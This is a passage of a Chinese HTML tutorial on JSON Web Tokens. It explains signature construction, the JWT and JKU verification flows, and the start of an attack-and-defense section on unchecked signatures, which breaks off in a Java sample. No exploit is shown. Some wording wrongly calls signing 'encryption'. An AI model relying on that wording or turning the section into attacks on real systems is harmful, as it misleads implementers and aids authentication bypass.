UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">连接起来然后使用指定算法对其进行签名,最终将签名结果与</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">一起组成</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的生成和验证需要使用相同的密钥,下面是一个示例</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">其中</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HMACSHA256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HMAC SHA256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">算法进行签名,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是经过</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">编码的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">secret</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是用于签名和验证的密钥,最终将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">连接起来用句点</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(.)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">分隔就形成了一个完整的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,下面是一个示例</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,其中第一部分是</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,第二部分是</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,第三部分是</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,注意</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT </span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的每一部分都是经过</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">编码的,但并不是加密的,因此</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的信息是可以被解密的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<br />
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.<br />
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">在线平台</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">下面是一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在线构造和解构的平台:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
https://jwt.io/</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="269" src="http://cobjon.com/w/php/upload/202403/01/c263a182.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">工作原理</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:15.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">JWT</span></b><b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">工作原理</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的工作流程如下:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用户在客户端登录并将登录信息发送给服务器</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">服务器使用私钥对用户信息进行加密生成</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">并将其发送给客户端</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">客户端将</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">存储在本地,每次向服务器发送请求时携带</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行认证</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">服务器使用公钥对</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行解密和验证,根据</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的信息进行身份验证和授权</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">服务器处理请求并返回响应,客户端根据响应进行相应的操作</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">JKU</span></b><b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">工作原理</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:用户携带</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWS(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">带有签名的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">访问应用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="553" height="239" src="http://cobjon.com/w/php/upload/202403/01/ff795cb3.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:应用程序解码</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWS</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">得到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JKU</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">字段</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="161" src="http://cobjon.com/w/php/upload/202403/01/4399d09a.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:应用根据</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JKU</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">访问返回</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的服务器</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="166" src="http://cobjon.com/w/php/upload/202403/01/44b4919d.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 4</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:应用程序得到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="165" src="http://cobjon.com/w/php/upload/202403/01/df595948.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">验证用户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWS</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="155" src="http://cobjon.com/w/php/upload/202403/01/f42df850.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 6</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:验证通过则正常响应</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="165" src="http://cobjon.com/w/php/upload/202403/01/eb60f697.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">漏洞攻防</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:15.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">签名未校验</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">验证过程</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT(JSON Web Token)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签名验证过程主要包括以下几个步骤:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">分离解构:</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是通过句点</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(.)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">分隔的,因此需要将</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">按照句点分隔符进行分离</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">验证签名:通过使用指定算法对</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行签名生成签名结果,然后将签名结果与</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的签名部分进行比较,如果两者相同则说明</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签名是有效的,否则说明</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签名是无效的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">验证信息:如果</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签名是有效的则需要对</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的信息进行验证,例如</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">可以验证</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的过期时间、发行者等信息是否正确,如果验证失败则说明</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是无效的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">下面是一个使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JAVA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">签名验证的示例代码:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.Claims</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.SignatureAlgorithm</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.util.Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
